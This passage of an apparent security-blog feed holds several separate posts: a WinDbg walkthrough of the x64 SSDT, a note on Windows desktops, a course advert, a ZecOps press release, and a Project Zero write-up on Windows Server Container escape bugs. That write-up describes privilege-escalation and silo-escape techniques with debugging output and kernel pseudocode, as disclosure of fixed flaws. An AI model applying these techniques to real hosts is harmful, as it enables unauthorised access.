fffff804`13c3ec40  02218b05 0289df01 028bd600 01a98d00
fffff804`13c3ec50  01e31b00 01c2a200 028b7200 01cca500
fffff804`13c3ec60  02229b01 01bf9901 0296d100 01fea002

You might expect the values in the SSDT to be 64-bit pointers, pointing directly to the system services (this is the scheme used on x86 systems). On x64 the values are 32 bit, and are used as offsets from the start of the SSDT itself. However, the offset does not include the last hex digit (4 bits): this last value is the number of arguments to the system call.

Let’s see if this holds with NtCreateFile. Its service number is 0x55 as we’ve seen from user mode, so to get to the actual offset, we need to perform a simple calculation:

kd> dd nt!KiServiceTable+55*4 L1
fffff804`13c3ed74  020b9207

Now we need to take this offset (without the last hex digit), add it to the SSDT and this should point at NtCreateFile:

lkd> u nt!KiServiceTable+020b920
nt!NtCreateFile:
fffff804`13e4a540 4881ec88000000  sub     rsp,88h
fffff804`13e4a547 33c0            xor     eax,eax
fffff804`13e4a549 4889442478      mov     qword ptr [rsp+78h],rax
fffff804`13e4a54e c744247020000000 mov     dword ptr [rsp+70h],20h

Indeed – this is NtCreateFile. What about the argument count? The value stored is 7. Here is the prototype of NtCreateFile (documented in the WDK as ZwCreateFile):

NTSTATUS NtCreateFile(
  PHANDLE            FileHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes,
  PIO_STATUS_BLOCK   IoStatusBlock,
  PLARGE_INTEGER     AllocationSize,
  ULONG              FileAttributes,
  ULONG              ShareAccess,
  ULONG              CreateDisposition,
  ULONG              CreateOptions,
  PVOID              EaBuffer,
  ULONG              EaLength);

Clearly, there are 11 parameters, not just 7. Why the discrepency? The stored value is the number of parameters that are passed using the stack. In x64 calling convention, the first 4 arguments are passed using registers: RCX, RDX, R8, R9 (in this order).

Now back to the title of this post. Here are the first few entries in the SSDT again:

lkd> dd nt!KiServiceTable
fffff804`13c3ec20  fced7204 fcf77b00 02b94a02 04747400
fffff804`13c3ec30  01cef300 fda01f00 01c06005 01c3b506

The first two entries look different, with much larger numbers. Let’s try to apply the same logic for the first value (index 0):

kd> u nt!KiServiceTable+fced720
fffff804`2392c340 ??              ???
                    ^ Memory access error in 'u nt!KiServiceTable+fced720'

Clearly a bust. The value is in fact a negative value (in two’s complement), so we need to sign-extend it to 64 bit, and then perform the addition (leaving out the last hex digit as before):

kd> u nt!KiServiceTable+ffffffff`ffced720
nt!NtAccessCheck:
fffff804`1392c340 4c8bdc          mov     r11,rsp
fffff804`1392c343 4883ec68        sub     rsp,68h
fffff804`1392c347 488b8424a8000000 mov     rax,qword ptr [rsp+0A8h]

This is NtAccessCheck. The function’s implementation is in lower addresses than the SSDT itself. Let’s try the same exercise with index 1:

kd> u nt!KiServiceTable+ffffffff`ffcf77b0
nt!NtWorkerFactoryWorkerReady:
fffff804`139363d0 4c8bdc          mov     r11,rsp
fffff804`139363d3 49895b08        mov     qword ptr [r11+8],rbx

And we get system call number 1: NtWorkerFactoryWorkerReady.

For those fond of WinDbg scripting – write a script to display nicely all system call functions and their indices.

 

zodiacon

💾

Windows 10 Desktops vs. Sysinternals Desktops

17 February 2019 at 09:19

One of the new Windows 10 features visible to users is the support for additional “Desktops”. It’s now possible to create additional surfaces on which windows can be used. This idea is not new – it has been around in the Linux world for many years (e.g. KDE, Gnome), where users have 4 virtual desktops they can use. The idea is that to prevent clutter, one desktop can be used for web browsing, for example, and another desktop can be used for all dev work, and yet a third desktop could be used for all social / work apps (outlook, WhatsApp, Facebook, whatever).

To create an additional virtual desktop on Windows 10, click on the Task View button on the task bar, and then click the “New Desktop” button marked with a plus sign.

newvirtualdesktop

Now you can switch between desktops by clicking the appropriate desktop button and then launch apps as usual. It’s even possible (by clicking Task View again) to move windows from desktop to desktop, or to request that a window be visible on all desktops.

The Sysinternals tools had a tool called “Desktops” for many years now. It too allows for creation of up to 4 desktops where applications can be launched. The question is – is this Desktops tool the same as the Windows 10 virtual desktops feature? Not quite.

First, some background information. In the kernel object hierarchy under a session object, there are window stations, desktops and other objects. Here’s a diagram summarizing this tree-like relationship:

Sessions

As can be seen in the diagram, a session contains a set of Window Stations. One window station can be interactive, meaning it can receive user input, and is always called winsta0. If there are other window stations, they are non-interactive.

Each window station contains a set of desktops. Each of these desktops can hold windows. So at any given moment, an interactive user can interact with a single desktop under winsta0. Upon logging in, a desktop called “Default” is created and this is where all the normal windows appear. If you click Ctrl+Alt+Del for example, you’ll be transferred to another desktop, called “Winlogon”, that was created by the winlogon process. That’s why your normal windows “disappear” – you have been switched to another desktop where different windows may exist. This switching is done by a documented function – SwitchDesktop.

And here lies the difference between the Windows 10 virtual desktops and the Sysinternals desktops tool. The desktops tool actually creates desktop objects using the CreateDesktop API. In that desktop, it launches Explorer.exe so that a taskbar is created on that desktop – initially the desktop has nothing on it. How can desktops launch a process that by default creates windows in a different desktop? This is possible to do with the normal CreateProcess function by specifying the desktop name in the STARTUPINFO structure’s lpDesktop member. The format is “windowstation\desktop”. So in the desktops tool case, that’s something like “winsta0\Sysinternals Desktop 1”. How do I know the name of the Sysinternals desktop objects? Desktops can be enumerated with the EnumDesktops API. I’ve written a small tool, that enumerates window stations and desktops in the current session. Here’s a sample output when one additional desktop has been created with “desktops”:

desktops1

In the Windows 10 virtual desktops feature, no new desktops are ever created. Win32k.sys just manipulates the visibility of windows and that’s it. Can you guess why? Why doesn’t Window 10 use the CreateDesktop/SwitchDesktop APIs for its virtual desktop feature?

The reason has to do with some limitations that exist on desktop objects. For one, a window (technically a thread) that is bound to a desktop cannot be switched to another; in other words, there is no way to transfer a windows from one desktop to another. This is intentional, because desktops provide some protection. For example, hooks set with SetWindowsHookEx can only be set on the current desktop, so cannot affect other windows in other desktops. The Winlogon desktop, as another example, has a strict security descriptor that prevents non system-level users from accessing that desktop. Otherwise, that desktop could have been tampered with.

The virtual desktops in Windows 10 is not intended for security purposes, but for flexibility and convenience (security always “contradicts” convenience). That’s why it’s possible to move windows between desktops, because there is no real “moving” going on at all. From the kernel’s perspective, everything is still on the same “Default” desktop.

 

 

 

zodiacon

💾

newvirtualdesktop

💾

Sessions

💾

desktops1

💾

Next Windows Kernel Programming Remote Class

15 February 2019 at 14:53

The next public remote Windows kernel Programming class I will be delivering is scheduled for April 15 to 18. It’s going to be very similar to the first one I did at the end of January (with some slight modifications and additions).

Cost: 1950 USD. Early bird (register before March 30th): 1650 USD

I have not yet finalized the time zone the class will be “targeting”. I will update in a few weeks on that.

If you’re interested in registering, please email [email protected] with the subject “Windows Kernel Programming class” and specify your name, company (if any) and time zone. I’ll reply by providing more information.

Feel free to contact me for questions using the email or through twitter (@zodiacon).

The complete syllabus is outlined below:

Duration: 4 Days
Target Audience: Experienced windows developers, interested in developing kernel mode drivers
Objectives: ·  Understand the Windows kernel driver programming model

·  Write drivers for monitoring processes, threads, registry and some types of objects

·  Use documented kernel hooking mechanisms

·  Write basic file system mini-filter drivers

Pre Requisites: ·  At least 2 years of experience working with the Windows API

·  Basic understanding of Windows OS concepts such as processes, threads, virtual memory and DLLs

Software requirements: ·  Windows 10 Pro 64 bit (latest stable version)
·  Visual Studio 2017 + latest update
·  Windows 10 SDK (latest)
·  Windows 10 WDK (latest)
·  Virtual Machine for testing and debugging

Instructor: Pavel Yosifovich

Abstract

The cyber security industry has grown considerably in recent years, with more sophisticated attacks and consequently more defenders. To have a fighting chance against these kinds of attacks, kernel mode drivers must be employed, where nothing (at least nothing from user mode) can escape their eyes.
The course provides the foundations for the most common software device drivers that are useful not just in cyber security, but also other scenarios, where monitoring and sometimes prevention of operations is required. Participants will write real device drivers with useful features they can then modify and adapt to their particular needs.

Syllabus

  • Module 1: Windows Internals quick overview
    • Processes
    • Virtual memory
    • Threads
    • System architecture
    • User / kernel transitions
    • Introduction to WinDbg
    • Windows APIs
    • Objects and handles
    • Summary

 

  • Module 2: The I/O System
    • I/O System overview
    • Device Drivers
    • The Windows Driver Model (WDM)
    • The Kernel Mode Driver Framework (KMDF)
    • Other device driver models
    • Driver types
    • Software drivers
    • Driver and device objects
    • I/O Processing and Data Flow
    • Accessing devices
    • Asynchronous I/O
    • Summary

 

  • Module 3: Kernel programming basics
    • Setting up for Kernel Development
    • Basic Kernel types and conventions
    • C++ in a kernel driver
    • Creating a driver project
    • Building and deploying
    • The kernel API
    • Strings
    • Linked Lists
    • The DriverEntry function
    • The Unload routine
    • Installation
    • Testing
    • Debugging
    • Summary
    • Lab: deploy a driver

 

  • Module 4: Building a simple driver
    • Creating a device object
    • Exporting a device name
    • Building a driver client
    • Driver dispatch routines
    • Introduction to I/O Request Packets (IRPs)
    • Completing IRPs
    • Handling DeviceIoControl calls
    • Testing the driver
    • Debugging the driver
    • Using WinDbg with a virtual machine
    • Summary
    • Lab: open a process for any access; zero driver; debug a driver

 

  • Module 5: Kernel mechanisms
    • Interrupt Request Levels (IRQLs)
    • Deferred Procedure Calls (DPCs)
    • Dispatcher objects
    • Low IRQL Synchronization
    • Spin locks
    • Work items
    • Summary

 

  • Module 6: Process and thread monitoring
    • Motivation
    • Process creation/destruction callback
    • Specifying process creation status
    • Thread creation/destruction callback
    • Notifying user mode
    • Writing a user mode client
    • Preventing potentially malicious processes from executing
    • Summary
    • Lab: monitoring process/thread activity; prevent specific processes from running; protecting processes

 

  • Module 7: Object and registry notifications
    • Process/thread object notifications
    • Pre and post callbacks
    • Registry notifications
    • Performance considerations
    • Reporting results to user mode
    • Summary
    • Lab: protect specific process from termination; simple registry monitor

 

  • Module 8: File system mini filters
    • File system model
    • Filters vs. mini filters
    • The Filter Manager
    • Filter registration
    • Pre and Post callbacks
    • File name information
    • Contexts
    • File system operations
    • Filter to user mode communication
    • Debugging mini-filters
    • Summary
    • Labs: protect a directory from file deletion; backup file before deletion

zodiacon

💾

ZecOps Announces The Formation of Defense Advisory Board and Appoints Former Commander of Unit 8200 Ehud Scneorson as Chairman

6 April 2021 at 13:45
ZecOps Announces The Formation of Defense Advisory Board and Appoints Former Commander of Unit 8200 Ehud Scneorson as Chairman

Ehud Schneourson to provide cyberdefense expertise and tactical guidance to burgeoning mobile security startup, with additional appointments to be announced in the coming months

SAN FRANCISCO, April 1st, 2021 — ZecOps, the world’s most powerful platform to discover and analyze mobile cyber attacks, announced the formation of its international Defense Advisory Board. Ehud Schneourson, (ret.) Brigadier General and commander of Israel’s elite Unit 8200, was appointed as Chairman.

“It takes a submarine to discover other submarines, and ZecOps is the submarine we were all waiting for in the mobile security space.” said Ehud Schneourson. “Attackers used to care only about Google and Apple, but ZecOps created an entire category of problems for attackers. I’m thrilled to partner with ZecOps in their mission to protect our most sensitive assets, our mobile devices.”

“ZecOps is a true mobile EDR that is technically non-existent in the market today”, Schneourson summarized.

ZecOps’ success in the public and private sectors has been bolstered by the discovery of several advanced attacks. These include a “0-click” vulnerability on the default iOS Mail app, attacks on journalists in the Middle East, and others. 

ZecOps estimates that there are hundreds of sophisticated organizations targeting mobile devices, many of whom sell their exploits on the black market. This claim is supported by ZecOps Mobile Threat Intelligence, which has shown a rapid increase in the number of mobile cyberattacks in the past year.

“The number of attacks that we have discovered on mobile devices is mind blowing. I can’t wait to see what else we’ll discover in the years to come,” said Zuk Avraham, co-founder and CEO of ZecOps. “Mobile devices have become our ‘single factor of authentication’, and the most desirable target for attackers. Our Defense Advisory Board understands and appreciates the creativity needed to establish proper mobile cyberdefense. I’m thrilled to bring Ehud onboard, and am excited to partner with him and the world’s defense leaders”.

About ZecOps:

ZecOps develops the world’s most powerful platform to discover and analyze mobile cyber attacks. Used by world-leading governments, enterprises, and individuals globally, ZecOps Mobile EDR provides a realistic and scalable approach to mobile threat hunting. ZecOps enables automated discovery of 0-day attacks and Advanced Persistent Threats (APTs), delivering anti cyber-espionage capabilities within minutes. Headquartered in San Francisco, ZecOps was co-founded by Zuk Avraham, a security researcher and serial entrepreneur who previously founded Zimperium.  

For more information: https://www.zecops.com 

Follow ZecOps: LinkedIn | Twitter | Facebook

ZecOps Media Contact:

[email protected]

Who Contains the Containers?

By: Ryan
1 April 2021 at 16:06

Posted by James Forshaw, Project Zero

This is a short blog post about a research project I conducted on Windows Server Containers that resulted in four privilege escalations which Microsoft fixed in March 2021. In the post, I describe what led to this research, my research process, and insights into what to look for if you’re researching this area.

Windows Containers Background

Windows 10 and its server counterparts added support for application containerization. The implementation in Windows is similar in concept to Linux containers, but of course wildly different. The well-known Docker platform supports Windows containers which leads to the availability of related projects such as Kubernetes running on Windows. You can read a bit of background on Windows containers on MSDN. I’m not going to go in any depth on how containers work in Linux as very little is applicable to Windows.

The primary goal of a container is to hide the real OS from an application. For example, in Docker you can download a standard container image which contains a completely separate copy of Windows. The image is used to build the container which uses a feature of the Windows kernel called a Server Silo allowing for redirection of resources such as the object manager, registry and networking. The server silo is a special type of Job object, which can be assigned to a process.

Diagram of a server silo. Shows an application interacting with the registry, object manager and network and how being in the silo redirects that access to another location.

The application running in the container, as far as possible, will believe it’s running in its own unique OS instance. Any changes it makes to the system will only affect the container and not the real OS which is hosting it. This allows an administrator to bring up new instances of the application easily as any system or OS differences can be hidden.

For example the container could be moved between different Windows systems, or even to a Linux system with the appropriate virtualization and the application shouldn’t be able to tell the difference. Containers shouldn’t be confused with virtualization however, which provides a consistent hardware interface to the OS. A container is more about providing a consistent OS interface to applications.

Realistically, containers are mainly about using their isolation primitives for hiding the real OS and providing a consistent configuration in which an application can execute. However, there’s also some potential security benefit to running inside a container, as the application shouldn’t be able to directly interact with other processes and resources on the host.

There are two supported types of containers: Windows Server Containers and Hyper-V Isolated Containers. Windows Server Containers run under the current kernel as separate processes inside a server silo. Therefore a single kernel vulnerability would allow you to escape the container and access the host system.

Hyper-V Isolated Containers still run in a server silo, but do so in a separate lightweight VM. You can still use the same kernel vulnerability to escape the server silo, but you’re still constrained by the VM and hypervisor. To fully escape and access the host you’d need a separate VM escape as well.

Diagram comparing Windows Server Containers and Hyper-V Isolated Containers. The server container on the left directly accesses the hosts kernel. For Hyper-V the container accesses a virtualized kernel, which dispatches to the hypervisor and then back to the original host kernel. This shows the additional security boundary in place to make Hyper-V isolated containers more secure.

The current MSRC security servicing criteria states that Windows Server Containers are not a security boundary as you still have direct access to the kernel. However, if you use Hyper-V isolation, a silo escape wouldn’t compromise the host OS directly as the security boundary is at the hypervisor level. That said, escaping the server silo is likely to be the first step in attacking Hyper-V containers meaning an escape is still useful as part of a chain.

As Windows Server Containers are not a security boundary any bugs in the feature won’t result in a security bulletin being issued. Any issues might be fixed in the next major version of Windows, but they might not be.

Origins of the Research

Over a year ago I was asked for some advice by Daniel Prizmant, a researcher at Palo Alto Networks on some details around Windows object manager symbolic links. Daniel was doing research into Windows containers, and wanted help on a feature which allows symbolic links to be marked as global which allows them to reference objects outside the server silo. I recommend reading Daniel’s blog post for more in-depth information about Windows containers.

Knowing a little bit about symbolic links I was able to help fill in some details and usage. About seven months later Daniel released a second blog post, this time describing how to use global symbolic links to escape a server silo Windows container. The result of the exploit is the user in the container can access resources outside of the container, such as files.

The global symbolic link feature needs SeTcbPrivilege to be enabled, which can only be accessed from SYSTEM. The exploit therefore involved injecting into a system process from the default administrator user and running the exploit from there. Based on the blog post, I thought it could be done easier without injection. You could impersonate a SYSTEM token and do the exploit all in process. I wrote a simple proof-of-concept in PowerShell and put it up on Github.

Fast forward another few months and a Googler reached out to ask me some questions about Windows Server Containers. Another researcher at Palo Alto Networks had reported to Google Cloud that Google Kubernetes Engine (GKE) was vulnerable to the issue Daniel had identified. Google Cloud was using Windows Server Containers to run Kubernetes, so it was possible to escape the container and access the host, which was not supposed to be accessible.

Microsoft had not patched the issue and it was still exploitable. They hadn’t patched it because Microsoft does not consider these issues to be serviceable. Therefore the GKE team was looking for mitigations. One proposed mitigation was to enforce the containers to run under the ContainerUser account instead of the ContainerAdministrator. As the reported issue only works when running as an administrator that would seem to be sufficient.

However, I wasn’t convinced there weren't similar vulnerabilities which could be exploited from a non-administrator user. Therefore I decided to do my own research into Windows Server Containers to determine if the guidance of using ContainerUser would really eliminate the risks.

While I wasn’t expecting MS to fix anything I found it would at least allow me to provide internal feedback to the GKE team so they might be able to better mitigate the issues. It also establishes a rough baseline of the risks involved in using Windows Server Containers. It’s known to be problematic, but how problematic?

Research Process

The first step was to get some code running in a representative container. Nothing that had been reported was specific to GKE, so I made the assumption I could just run a local Windows Server Container.

Setting up your own server silo from scratch is undocumented and almost certainly unnecessary. When you enable the Container support feature in Windows, the Hyper-V Host Compute Service is installed. This takes care of setting up both Hyper-V and process isolated containers. The API to interact with this service isn’t officially documented, however Microsoft has provided public wrappers (with scant documentation), for example this is the Go wrapper.

Realistically it’s best to just use Docker which takes the MS provided Go wrapper and implements the more familiar Docker CLI. While there’s likely to be Docker-specific escapes, the core functionality of a Windows Docker container is all provided by Microsoft so would be in scope. Note, there are two versions of Docker: Enterprise which is only for server systems and Desktop. I primarily used Desktop for convenience.

As an aside, MSRC does not count any issue as crossing a security boundary where being a member of the Hyper-V Administrators group is a prerequisite. Using the Hyper-V Host Compute Service requires membership of the Hyper-V Administrators group. However Docker runs at sufficient privilege to not need the user to be a member of the group. Instead access to Docker is gated by membership of the separate docker-users group. If you get code running under a non-administrator user that has membership of the docker-users group you can use that to get full administrator privileges by abusing Docker’s server silo support.

Fortunately for me most Windows Docker images come with .NET and PowerShell installed so I could use my existing toolset. I wrote a simple docker file containing the following:

FROM mcr.microsoft.com/windows/servercore:20H2

USER ContainerUser

COPY NtObjectManager c:/NtObjectManager

CMD [ "powershell", "-noexit", "-command", \

  "Import-Module c:/NtObjectManager/NtObjectManager.psd1" ]

This docker file will download a Windows Server Core 20H2 container image from the Microsoft Container Registry, copy in my NtObjectManager PowerShell module and then set up a command to load that module on startup. I also specified that the PowerShell process would run as the user ContainerUser so that I could test the mitigation assumptions. If you don’t specify a user it’ll run as ContainerAdministrator by default.

Note, when using process isolation mode the container image version must match the host OS. This is because the kernel is shared between the host and the container and any mismatch between the user-mode code and the kernel could result in compatibility issues. Therefore if you’re trying to replicate this you might need to change the name for the container image.

Create a directory and copy the contents of the docker file to the filename dockerfile in that directory. Also copy in a copy of my PowerShell module into the same directory under the NtObjectManager directory. Then in a command prompt in that directory run the following commands to build and run the container.

C:\container> docker build -t test_image .

Step 1/4 : FROM mcr.microsoft.com/windows/servercore:20H2

 ---> b29adf5cd4f0

Step 2/4 : USER ContainerUser

 ---> Running in ac03df015872

Removing intermediate container ac03df015872

 ---> 31b9978b5f34

Step 3/4 : COPY NtObjectManager c:/NtObjectManager

 ---> fa42b3e6a37f

Step 4/4 : CMD [ "powershell", "-noexit", "-command",   "Import-Module c:/NtObjectManager/NtObjectManager.psd1" ]

 ---> Running in 86cad2271d38

Removing intermediate container 86cad2271d38

 ---> e7d150417261

Successfully built e7d150417261

Successfully tagged test_image:latest

C:\container> docker run --isolation=process -it test_image

PS>

I wanted to run code using process isolation rather than in Hyper-V isolation, so I needed to specify the --isolation=process argument. This would allow me to more easily see system interactions as I could directly debug container processes if needed. For example, you can use Process Monitor to monitor file and registry access. Docker Enterprise uses process isolation by default, whereas Desktop uses Hyper-V isolation.

I now had a PowerShell console running inside the container as ContainerUser. A quick way to check that it was successful is to try and find the CExecSvc process, which is the Container Execution Agent service. This service is used to spawn your initial PowerShell console.

PS> Get-Process -Name CExecSvc

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName

-------  ------    -----      -----     ------     --  -- -----------

     86       6     1044       5020              4560   6 CExecSvc

With a running container it was time to start poking around to see what’s available. The first thing I did was dump the ContainerUser’s token just to see what groups and privileges were assigned. You can use the Show-NtTokenEffective command to do that.

PS> Show-NtTokenEffective -User -Group -Privilege

USER INFORMATION

----------------

Name                       Sid

----                       ---

User Manager\ContainerUser S-1-5-93-2-2

GROUP SID INFORMATION

-----------------

Name                                   Attributes

----                                   ----------

Mandatory Label\High Mandatory Level   Integrity, ...

Everyone                               Mandatory, ...

BUILTIN\Users                          Mandatory, ...

NT AUTHORITY\SERVICE                   Mandatory, ...

CONSOLE LOGON                          Mandatory, ...

NT AUTHORITY\Authenticated Users       Mandatory, ...

NT AUTHORITY\This Organization         Mandatory, ...

NT AUTHORITY\LogonSessionId_0_10357759 Mandatory, ...

LOCAL                                  Mandatory, ...

User Manager\AllContainers             Mandatory, ...

PRIVILEGE INFORMATION

---------------------

Name                          Luid              Enabled

----                          ----              -------

SeChangeNotifyPrivilege       00000000-00000017 True

SeImpersonatePrivilege        00000000-0000001D True

SeCreateGlobalPrivilege       00000000-0000001E True

SeIncreaseWorkingSetPrivilege 00000000-00000021 False

The groups didn’t seem that interesting, however looking at the privileges we have SeImpersonatePrivilege. If you have this privilege you can impersonate any other user on the system including administrators. MSRC considers having SeImpersonatePrivilege as administrator equivalent, meaning if you have it you can assume you can get to administrator. Seems ContainerUser is not quite as normal as it should be.

That was a very bad (or good) start to my research. The prior assumption was that running as ContainerUser would not grant administrator privileges, and therefore the global symbolic link issue couldn’t be directly exploited. However that turns out to not be the case in practice. As an example you can use the public RogueWinRM exploit to get a SYSTEM token as long as WinRM isn’t enabled, which is the case on most Windows container images. There are no doubt other less well known techniques to achieve the same thing. The code which creates the user account is in CExecSvc, which is code owned by Microsoft and is not specific to Docker.

NextI used the NtObject drive provider to list the object manager namespace. For example checking the Device directory shows what device objects are available.

PS> ls NtObject:\Device

Name                                              TypeName

----                                              --------

Ip                                                SymbolicLink

Tcp6                                              SymbolicLink

Http                                              Directory

Ip6                                               SymbolicLink

ahcache                                           SymbolicLink

WMIDataDevice                                     SymbolicLink

LanmanDatagramReceiver                            SymbolicLink

Tcp                                               SymbolicLink

LanmanRedirector                                  SymbolicLink

DxgKrnl                                           SymbolicLink

ConDrv                                            SymbolicLink

Null                                              SymbolicLink

MailslotRedirector                                SymbolicLink

NamedPipe                                         Device

Udp6                                              SymbolicLink

VhdHardDisk{5ac9b14d-61f3-4b41-9bbf-a2f5b2d6f182} SymbolicLink

KsecDD                                            SymbolicLink

DeviceApi                                         SymbolicLink

MountPointManager                                 Device

...

Interestingly most of the device drivers are symbolic links (almost certainly global) instead of being actual device objects. But there are a few real device objects available. Even the VHD disk volume is a symbolic link to a device outside the container. There’s likely to be some things lurking in accessible devices which could be exploited, but I was still in reconnaissance mode.

What about the registry? The container should be providing its own Registry hives and so there shouldn’t be anything accessible outside of that. After a few tests I noticed something very odd.

PS> ls HKLM:\SOFTWARE | Select-Object Name

Name

----

HKEY_LOCAL_MACHINE\SOFTWARE\Classes

HKEY_LOCAL_MACHINE\SOFTWARE\Clients

HKEY_LOCAL_MACHINE\SOFTWARE\DefaultUserEnvironment

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft

HKEY_LOCAL_MACHINE\SOFTWARE\ODBC

HKEY_LOCAL_MACHINE\SOFTWARE\OpenSSH

HKEY_LOCAL_MACHINE\SOFTWARE\Policies

HKEY_LOCAL_MACHINE\SOFTWARE\RegisteredApplications

HKEY_LOCAL_MACHINE\SOFTWARE\Setup

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node

PS> ls NtObject:\REGISTRY\MACHINE\SOFTWARE | Select-Object Name

Name

----

Classes

Clients

DefaultUserEnvironment

Docker Inc.

Intel

Macromedia

Microsoft

ODBC

OEM

OpenSSH

Partner

Policies

RegisteredApplications

Windows

WOW6432Node

The first command is querying the local machine SOFTWARE hive using the built-in Registry drive provider. The second command is using my module’s object manager provider to list the same hive. If you look closely the list of keys is different between the two commands. Maybe I made a mistake somehow? I checked some other keys, for example the user hive attachment point:

PS> ls NtObject:\REGISTRY\USER | Select-Object Name

Name

----

.DEFAULT

S-1-5-19

S-1-5-20

S-1-5-21-426062036-3400565534-2975477557-1001

S-1-5-21-426062036-3400565534-2975477557-1001_Classes

S-1-5-21-426062036-3400565534-2975477557-1003

S-1-5-18

PS> Get-NtSid

Name                       Sid

----                       ---

User Manager\ContainerUser S-1-5-93-2-2

No, it still looked wrong. The ContainerUser’s SID is S-1-5-93-2-2, you’d expect to see a loaded hive for that user SID. However you don’t see one, instead you see S-1-5-21-426062036-3400565534-2975477557-1001 which is the SID of the user outside the container.

Something funny was going on. However, this behavior is something I’ve seen before. Back in 2016 I reported a bug with application hives where you couldn’t open the \REGISTRY\A attachment point directly, but you could if you opened \REGISTRY then did a relative open to A. It turns out that by luck my registry enumeration code in the module’s drive provider uses relative opens using the native system calls, whereas the PowerShell built-in uses absolute opens through the Win32 APIs. Therefore, this was a manifestation of a similar bug: doing a relative open was ignoring the registry overlays and giving access to the real hive.

This grants a non-administrator user access to any registry key on the host, as long as ContainerUser can pass the key’s access check. You could imagine the host storing some important data in the registry which the container can now read out, however using this to escape the container would be hard. That said, all you need to do is abuse SeImpersonatePrivilege to get administrator access and you can immediately start modifying the host’s registry hives.

The fact that I had two bugs in less than a day was somewhat concerning, however at least that knowledge can be applied to any mitigation strategy. I thought I should dig a bit deeper into the kernel to see what else I could exploit from a normal user.

A Little Bit of Reverse Engineering

While just doing basic inspection has been surprisingly fruitful it was likely to need some reverse engineering to shake out anything else. I know from previous experience on Desktop Bridge how the registry overlays and object manager redirection works when combined with silos. In the case of Desktop Bridge it uses application silos rather than server silos but they go through similar approaches.

The main enforcement mechanism used by the kernel to provide the container’s isolation is by calling a function to check whether the process is in a silo and doing something different based on the result. I decided to try and track down where the silo state was checked and see if I could find any misuse. You’d think the kernel would only have a few functions which would return the current silo state. Unfortunately you’d be wrong, the following is a short list of the functions I checked:

IoGetSilo, IoGetSiloParameters, MmIsSessionInCurrentServerSilo, OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO, ObGetSiloRootDirectoryPath, ObpGetSilosRootDirectory, PsGetCurrentServerSilo, PsGetCurrentServerSiloGlobals, PsGetCurrentServerSiloName, PsGetCurrentSilo, PsGetEffectiveServerSilo, PsGetHostSilo, PsGetJobServerSilo, PsGetJobSilo, PsGetParentSilo, PsGetPermanentSiloContext, PsGetProcessServerSilo, PsGetProcessSilo, PsGetServerSiloActiveConsoleId, PsGetServerSiloGlobals, PsGetServerSiloServiceSessionId, PsGetServerSiloState, PsGetSiloBySessionId, PsGetSiloContainerId, PsGetSiloContext, PsGetSiloIdentifier, PsGetSiloMonitorContextSlot, PsGetThreadServerSilo, PsIsCurrentThreadInServerSilo, PsIsHostSilo, PsIsProcessInAppSilo, PsIsProcessInSilo, PsIsServerSilo, PsIsThreadInSilo

Of course that’s not a comprehensive list of functions, but those are the ones that looked the most likely to either return the silo and its properties or check if something was in a silo. Checking the references to these functions wasn’t going to be comprehensive, for various reasons:

  1. We’re only checking for bad checks, not the lack of a check.
  2. The kernel has the structure type definition for the Job object which contains the silo, so the call could easily be inlined.
  3. We’re only checking the kernel, many of these functions are exported for driver use so could be called by other kernel components that we’re not looking at.

The first issue I found was due to a call to PsIsCurrentThreadInServerSilo. I noticed a reference to the function inside CmpOKToFollowLink which is a function that’s responsible for enforcing symlink checks in the registry. At a basic level, registry symbolic links are not allowed to traverse from an untrusted hive to a trusted hive.

For example if you put a symbolic link in the current user’s hive which redirects to the local machine hive the CmpOKToFollowLink will return FALSE when opening the key and the operation will fail. This prevents a user planting symbolic links in their hive and finding a privileged application which will write to that location to elevate privileges.

BOOLEAN CmpOKToFollowLink(PCMHIVE SourceHive, PCMHIVE TargetHive) {

  if (PsIsCurrentThreadInServerSilo() 

    || !TargetHive

    || TargetHive == SourceHive) {

    return TRUE;

  }

  if (SourceHive->Flags.Trusted)

    return FALSE;

  // Check trust list.

}

Looking at CmpOKToFollowLink we can see where PsIsCurrentThreadInServerSilo is being used. If the current thread is in a server silo then all links are allowed between any hives. The check for the trusted state of the source hive only happens after this initial check so is bypassed. I’d speculate that during development the registry overlays couldn’t be marked as trusted so a symbolic link in an overlay would not be followed to a trusted hive it was overlaying, causing problems. Someone presumably added this bypass to get things working, but no one realized they needed to remove it when support for trusted overlays was added.

To exploit this in a container I needed to find a privileged kernel component which would write to a registry key that I could control. I found a good primitive inside Win32k for supporting FlickInfo configuration (which seems to be related in some way to touch input, but it’s not documented). When setting the configuration Win32k would create a known key in the current user’s hive. I could then redirect the key creation to the local machine hive allowing creation of arbitrary keys in a privileged location. I don’t believe this primitive could be directly combined with the registry silo escape issue but I didn’t investigate too deeply. At a minimum this would allow a non-administrator user to elevate privileges inside a container, where you could then use registry silo escape to write to the host registry.

The second issue was due to a call to OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO. This function would get the root object manager namespace directory for a silo.

POBJECT_DIRECTORY OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO(PEJOB Silo) {

  if (Silo) {

    PPSP_STORAGE Storage = Silo->Storage;

    PPSP_SLOT Slot = Storage->Slot[PsObjectDirectorySiloContextSlot];

    if (Slot->Present)

      return Slot->Value;

  }

  return ObpRootDirectoryObject;

}

We can see that the function will extract a storage parameter from the passed-in silo, if present it will return the value of the slot. If the silo is NULL or the slot isn’t present then the global root directory stored in ObpRootDirectoryObject is returned. When the server silo is set up the slot is populated with a new root directory so this function should always return the silo root directory rather than the real global root directory.

This code seems perfectly fine, if the server silo is passed in it should always return the silo root object directory. The real question is, what silo do the callers of this function actually pass in? We can check that easily enough, there are only two callers and they both have the following code.

PEJOB silo = PsGetCurrentSilo();

Root = OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO(silo);

Okay, so the silo is coming from PsGetCurrentSilo. What does that do?

PEJOB PsGetCurrentSilo() {

  PETHREAD Thread = PsGetCurrentThread();

  PEJOB silo = Thread->Silo;

  if (silo == (PEJOB)-3) {

    silo = Thread->Tcb.Process->Job;

    while(silo) {

      if (silo->JobFlags & EJOB_SILO) {

        break;

      }

      silo = silo->ParentJob;

    }

  }

  return silo;

}

